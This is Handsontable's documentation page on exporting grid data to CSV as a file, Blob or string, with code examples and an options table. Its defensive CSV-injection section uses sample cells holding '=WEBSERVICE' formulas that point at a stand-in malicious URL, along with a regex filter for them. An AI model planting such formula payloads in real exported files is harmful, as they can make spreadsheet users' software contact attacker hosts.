Export to CSV

Export your grid’s raw data to the CSV format, as a downloadable file, a blob, or a string. Customize your export using Handsontable’s configuration options.

Examples

Mind that CSV exports contain only raw data, and don’t include formulas, styling, or formatting information.

Export to file

1
import Handsontable from 'handsontable/base';
2
import { registerAllModules } from 'handsontable/registry';
3

4
// Register all Handsontable's modules.
5
registerAllModules();
6

7
const container = document.querySelector('#example1');
8
const hot = new Handsontable(container, {
9
  data: [
10
    ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
11
    ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
12
    ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
13
    ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
14
    ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
15
    ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
16
    ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
17
  ],
18
  colHeaders: true,
19
  rowHeaders: true,
20
  hiddenRows: { rows: [1, 3, 5], indicators: true },
21
  hiddenColumns: { columns: [1, 3, 5], indicators: true },
22
  height: 'auto',
23
  autoWrapRow: true,
24
  autoWrapCol: true,
25
  licenseKey: 'non-commercial-and-evaluation',
26
});
27

28
const exportPlugin = hot.getPlugin('exportFile');
29
const button = document.querySelector('#export-file');
30

31
button.addEventListener('click', () => {
32
  exportPlugin.downloadFile('csv', {
33
    bom: false,
34
    columnDelimiter: ',',
35
    columnHeaders: false,
36
    exportHiddenColumns: true,
37
    exportHiddenRows: true,
38
    fileExtension: 'csv',
39
    filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
40
    mimeType: 'text/csv',
41
    rowDelimiter: '\r\n',
42
    rowHeaders: true,
43
  });
44
});

1
import Handsontable from 'handsontable/base';
2
import { registerAllModules } from 'handsontable/registry';
3
import { ExportFile } from 'handsontable/plugins';
4

5
// Register all Handsontable's modules.
6
registerAllModules();
7

8
const container = document.querySelector('#example1')!;
9

10
const hot = new Handsontable(container, {
11
  data: [
12
    ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
13
    ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
14
    ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
15
    ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
16
    ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
17
    ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
18
    ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
19
  ],
20
  colHeaders: true,
21
  rowHeaders: true,
22
  hiddenRows: { rows: [1, 3, 5], indicators: true },
23
  hiddenColumns: { columns: [1, 3, 5], indicators: true },
24
  height: 'auto',
25
  autoWrapRow: true,
26
  autoWrapCol: true,
27
  licenseKey: 'non-commercial-and-evaluation',
28
});
29

30
const exportPlugin: ExportFile = hot.getPlugin('exportFile');
31

32
const button = document.querySelector('#export-file')!;
33

34
button.addEventListener('click', () => {
35
  exportPlugin.downloadFile('csv', {
36
    bom: false,
37
    columnDelimiter: ',',
38
    columnHeaders: false,
39
    exportHiddenColumns: true,
40
    exportHiddenRows: true,
41
    fileExtension: 'csv',
42
    filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
43
    mimeType: 'text/csv',
44
    rowDelimiter: '\r\n',
45
    rowHeaders: true,
46
  });
47
});

1
<div class="example-controls-container">
2
  <div class="controls">
3
    <button id="export-file">Download CSV</button>
4
  </div>
5
</div>
6
<div id="example1"></div>

Export as a JavaScript Blob object

Open a console in browser developer tools to see the result for the below example.

1
import Handsontable from 'handsontable/base';
2
import { registerAllModules } from 'handsontable/registry';
3

4
// Register all Handsontable's modules.
5
registerAllModules();
6

7
const container = document.querySelector('#example2');
8
const hot = new Handsontable(container, {
9
  data: [
10
    ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
11
    ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
12
    ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
13
    ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
14
    ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
15
    ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
16
    ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
17
  ],
18
  colHeaders: true,
19
  rowHeaders: true,
20
  hiddenRows: { rows: [1, 3, 5], indicators: true },
21
  hiddenColumns: { columns: [1, 3, 5], indicators: true },
22
  height: 'auto',
23
  autoWrapRow: true,
24
  autoWrapCol: true,
25
  licenseKey: 'non-commercial-and-evaluation',
26
});
27

28
const exportPlugin = hot.getPlugin('exportFile');
29
const button = document.querySelector('#export-blob');
30

31
button.addEventListener('click', () => {
32
  const exportedBlob = exportPlugin.exportAsBlob('csv', {
33
    bom: false,
34
    columnDelimiter: ',',
35
    columnHeaders: false,
36
    exportHiddenColumns: true,
37
    exportHiddenRows: true,
38
    mimeType: 'text/csv',
39
    rowDelimiter: '\r\n',
40
    rowHeaders: true,
41
  });
42

43
  console.log(exportedBlob);
44
});

1
import Handsontable from 'handsontable/base';
2
import { registerAllModules } from 'handsontable/registry';
3
import { ExportFile } from 'handsontable/plugins';
4

5
// Register all Handsontable's modules.
6
registerAllModules();
7

8
const container = document.querySelector('#example2')!;
9

10
const hot = new Handsontable(container, {
11
  data: [
12
    ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
13
    ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
14
    ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
15
    ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
16
    ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
17
    ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
18
    ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
19
  ],
20
  colHeaders: true,
21
  rowHeaders: true,
22
  hiddenRows: { rows: [1, 3, 5], indicators: true },
23
  hiddenColumns: { columns: [1, 3, 5], indicators: true },
24
  height: 'auto',
25
  autoWrapRow: true,
26
  autoWrapCol: true,
27
  licenseKey: 'non-commercial-and-evaluation',
28
});
29

30
const exportPlugin: ExportFile = hot.getPlugin('exportFile');
31

32
const button = document.querySelector('#export-blob')!;
33

34
button.addEventListener('click', () => {
35
  const exportedBlob = exportPlugin.exportAsBlob('csv', {
36
    bom: false,
37
    columnDelimiter: ',',
38
    columnHeaders: false,
39
    exportHiddenColumns: true,
40
    exportHiddenRows: true,
41
    mimeType: 'text/csv',
42
    rowDelimiter: '\r\n',
43
    rowHeaders: true,
44
  });
45

46
  console.log(exportedBlob);
47
});

1
<div class="example-controls-container">
2
  <div class="controls">
3
    <button id="export-blob">Export as a Blob</button>
4
  </div>
5
</div>
6
<div id="example2"></div>

Export as a string

Open a console in browser developer tools to see the result for the below example.

1
import Handsontable from 'handsontable/base';
2
import { registerAllModules } from 'handsontable/registry';
3

4
// Register all Handsontable's modules.
5
registerAllModules();
6

7
const container = document.querySelector('#example3');
8
const hot = new Handsontable(container, {
9
  data: [
10
    ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
11
    ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
12
    ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
13
    ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
14
    ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
15
    ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
16
    ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
17
  ],
18
  colHeaders: true,
19
  rowHeaders: true,
20
  hiddenRows: { rows: [1, 3, 5], indicators: true },
21
  hiddenColumns: { columns: [1, 3, 5], indicators: true },
22
  height: 'auto',
23
  autoWrapRow: true,
24
  autoWrapCol: true,
25
  licenseKey: 'non-commercial-and-evaluation',
26
});
27

28
const exportPlugin = hot.getPlugin('exportFile');
29
const button = document.querySelector('#export-string');
30

31
button.addEventListener('click', () => {
32
  const exportedString = exportPlugin.exportAsString('csv', {
33
    bom: false,
34
    columnDelimiter: ',',
35
    columnHeaders: false,
36
    exportHiddenColumns: true,
37
    exportHiddenRows: true,
38
    rowDelimiter: '\r\n',
39
    rowHeaders: true,
40
  });
41

42
  console.log(exportedString);
43
});

1
import Handsontable from 'handsontable/base';
2
import { registerAllModules } from 'handsontable/registry';
3
import { ExportFile } from 'handsontable/plugins';
4

5
// Register all Handsontable's modules.
6
registerAllModules();
7

8
const container = document.querySelector('#example3')!;
9

10
const hot = new Handsontable(container, {
11
  data: [
12
    ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
13
    ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
14
    ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
15
    ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
16
    ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
17
    ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
18
    ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
19
  ],
20
  colHeaders: true,
21
  rowHeaders: true,
22
  hiddenRows: { rows: [1, 3, 5], indicators: true },
23
  hiddenColumns: { columns: [1, 3, 5], indicators: true },
24
  height: 'auto',
25
  autoWrapRow: true,
26
  autoWrapCol: true,
27
  licenseKey: 'non-commercial-and-evaluation',
28
});
29

30
const exportPlugin: ExportFile = hot.getPlugin('exportFile');
31

32
const button = document.querySelector('#export-string')!;
33

34
button.addEventListener('click', () => {
35
  const exportedString = exportPlugin.exportAsString('csv', {
36
    bom: false,
37
    columnDelimiter: ',',
38
    columnHeaders: false,
39
    exportHiddenColumns: true,
40
    exportHiddenRows: true,
41
    rowDelimiter: '\r\n',
42
    rowHeaders: true,
43
  });
44

45
  console.log(exportedString);
46
});

1
<div class="example-controls-container">
2
  <div class="controls">
3
    <button id="export-string">Export as a string</button>
4
  </div>
5
</div>
6
<div id="example3"></div>

Prevent CSV Injection attack

“CSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files. When a spreadsheet program such as Microsoft Excel or LibreOffice Calc is used to open a CSV, any cells starting with = will be interpreted by the software as a formula.” (from OWASP website)

To prevent this attack, set the sanitizeValues option when exporting your data in CSV format.

1
import Handsontable from 'handsontable/base';
2
import { registerAllModules } from 'handsontable/registry';
3

4
// Register all Handsontable's modules.
5
registerAllModules();
6

7
const container = document.querySelector('#example4');
8
const hot = new Handsontable(container, {
9
  data: [
10
    ['https://handsontable.com', '=WEBSERVICE(A1)'],
11
    ['https://github.com', '=WEBSERVICE(A2)'],
12
    ['http://example.com/malicious-script.exe', '=WEBSERVICE(A3)'],
13
  ],
14
  colHeaders: true,
15
  rowHeaders: true,
16
  height: 'auto',
17
  autoWrapRow: true,
18
  autoWrapCol: true,
19
  licenseKey: 'non-commercial-and-evaluation',
20
});
21

22
const exportPlugin = hot.getPlugin('exportFile');
23

24
document.querySelector('#no-sanitization').addEventListener('click', () => {
25
  exportPlugin.downloadFile('csv', {
26
    bom: false,
27
    columnDelimiter: ',',
28
    columnHeaders: false,
29
    exportHiddenColumns: true,
30
    exportHiddenRows: true,
31
    fileExtension: 'csv',
32
    filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
33
    mimeType: 'text/csv',
34
    rowDelimiter: '\r\n',
35
  });
36
});
37
document.querySelector('#recommended-sanitization').addEventListener('click', () => {
38
  exportPlugin.downloadFile('csv', {
39
    bom: false,
40
    columnDelimiter: ',',
41
    columnHeaders: false,
42
    exportHiddenColumns: true,
43
    exportHiddenRows: true,
44
    fileExtension: 'csv',
45
    filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
46
    mimeType: 'text/csv',
47
    rowDelimiter: '\r\n',
48
    sanitizeValues: true,
49
  });
50
});
51
document.querySelector('#regexp-sanitization').addEventListener('click', () => {
52
  exportPlugin.downloadFile('csv', {
53
    bom: false,
54
    columnDelimiter: ',',
55
    columnHeaders: false,
56
    exportHiddenColumns: true,
57
    exportHiddenRows: true,
58
    fileExtension: 'csv',
59
    filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
60
    mimeType: 'text/csv',
61
    rowDelimiter: '\r\n',
62
    sanitizeValues: /WEBSERVICE/,
63
  });
64
});
65
document.querySelector('#function-sanitization').addEventListener('click', () => {
66
  exportPlugin.downloadFile('csv', {
67
    bom: false,
68
    columnDelimiter: ',',
69
    columnHeaders: false,
70
    exportHiddenColumns: true,
71
    exportHiddenRows: true,
72
    fileExtension: 'csv',
73
    filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
74
    mimeType: 'text/csv',
75
    rowDelimiter: '\r\n',
76
    sanitizeValues: (value) => {
77
      return /WEBSERVICE/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;
78
    },
79
  });
80
});

1
import Handsontable from 'handsontable/base';
2
import { registerAllModules } from 'handsontable/registry';
3
import { ExportFile } from 'handsontable/plugins';
4

5
// Register all Handsontable's modules.
6
registerAllModules();
7

8
const container = document.querySelector('#example4')!;
9

10
const hot = new Handsontable(container, {
11
  data: [
12
    ['https://handsontable.com', '=WEBSERVICE(A1)'],
13
    ['https://github.com', '=WEBSERVICE(A2)'],
14
    ['http://example.com/malicious-script.exe', '=WEBSERVICE(A3)'],
15
  ],
16
  colHeaders: true,
17
  rowHeaders: true,
18
  height: 'auto',
19
  autoWrapRow: true,
20
  autoWrapCol: true,
21
  licenseKey: 'non-commercial-and-evaluation',
22
});
23

24
const exportPlugin: ExportFile = hot.getPlugin('exportFile');
25

26
document.querySelector('#no-sanitization')!.addEventListener('click', () => {
27
  exportPlugin.downloadFile('csv', {
28
    bom: false,
29
    columnDelimiter: ',',
30
    columnHeaders: false,
31
    exportHiddenColumns: true,
32
    exportHiddenRows: true,
33
    fileExtension: 'csv',
34
    filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
35
    mimeType: 'text/csv',
36
    rowDelimiter: '\r\n',
37
  });
38
});
39

40
document.querySelector('#recommended-sanitization')!.addEventListener('click', () => {
41
  exportPlugin.downloadFile('csv', {
42
    bom: false,
43
    columnDelimiter: ',',
44
    columnHeaders: false,
45
    exportHiddenColumns: true,
46
    exportHiddenRows: true,
47
    fileExtension: 'csv',
48
    filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
49
    mimeType: 'text/csv',
50
    rowDelimiter: '\r\n',
51
    sanitizeValues: true,
52
  });
53
});
54

55
document.querySelector('#regexp-sanitization')!.addEventListener('click', () => {
56
  exportPlugin.downloadFile('csv', {
57
    bom: false,
58
    columnDelimiter: ',',
59
    columnHeaders: false,
60
    exportHiddenColumns: true,
61
    exportHiddenRows: true,
62
    fileExtension: 'csv',
63
    filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
64
    mimeType: 'text/csv',
65
    rowDelimiter: '\r\n',
66
    sanitizeValues: /WEBSERVICE/,
67
  });
68
});
69

70
document.querySelector('#function-sanitization')!.addEventListener('click', () => {
71
  exportPlugin.downloadFile('csv', {
72
    bom: false,
73
    columnDelimiter: ',',
74
    columnHeaders: false,
75
    exportHiddenColumns: true,
76
    exportHiddenRows: true,
77
    fileExtension: 'csv',
78
    filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
79
    mimeType: 'text/csv',
80
    rowDelimiter: '\r\n',
81
    sanitizeValues: (value) => {
82
      return /WEBSERVICE/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;
83
    },
84
  });
85
});

1
<div class="example-controls-container">
2
  <div class="controls">
3
    <button id="no-sanitization">Download CSV with no sanitization</button>
4
    <button id="recommended-sanitization">Download CSV with recommended sanitization</button>
5
    <button id="regexp-sanitization">Download CSV with sanitization using a regexp</button>
6
    <button id="function-sanitization">Download CSV with sanitization using a function</button>
7
  </div>
8
</div>
9
<div id="example4"></div>

Available methods

The plugin exposes the following methods to export data.

downloadFile(format, options) - generates a downloadable file directly in the browser. Synchronous; supports text-based formats only (e.g. CSV). For XLSX, use downloadFileAsync.
downloadFileAsync(format, options) - generates a downloadable file and returns a Promise. Supports all formats including XLSX.
exportAsBlob(format, options) - allows you to export a JavaScript Blob object.
exportAsString(format, options) - allows you to export data as a string. Supports text-based formats only (e.g. CSV).

Each method takes two parameters. The first, format, is required. The second, options, is an optional object that overrides or extends the default export configuration. The table below lists all supported options for CSV export.

Available options in the export configuration

Property	Type / Default	Description
`bom`	`Boolean`, default `true`	Prepend output with BOM (UTF-8). Browser uses EF BB BF.
`columnDelimiter`	`String`, default `','`	Column delimiter.
`columnHeaders`	`Boolean`, default `false`	Include column headers. Does not support the NestedHeaders plugin.
`exportHiddenColumns`	`Boolean`, default `false`	Include hidden columns.
`exportHiddenRows`	`Boolean`, default `false`	Include hidden rows.
`fileExtension`	`String`, default `'csv'`	File extension. Used by `downloadFile()`.
`filename`	`String`, default `'Handsontable [YYYY]-[MM]-[DD]'`	File name. Placeholders `[YYYY]`, `[MM]`, `[DD]` are replaced with the current date. Used by `downloadFile()`.
`mimeType`	`String`, default `'text/csv'`	MIME type. Used by `downloadFile()` and `exportAsBlob()`.
`range`	`Array`, default `[]`	Cell range to export: `[startRow, startColumn, endRow, endColumn]` (visual indexes).
`rowDelimiter`	`String`, default `'\r\n'`	Row delimiter.
`rowHeaders`	`Boolean`, default `false`	Include row headers.
`sanitizeValues`	`Boolean` \| `RegExp` \| `Function`, default `false`	Value sanitization. `true` = OWASP CSV injection rules; `RegExp` = escape matching values; `Function` = replace with return value.

Plugins

ExportFile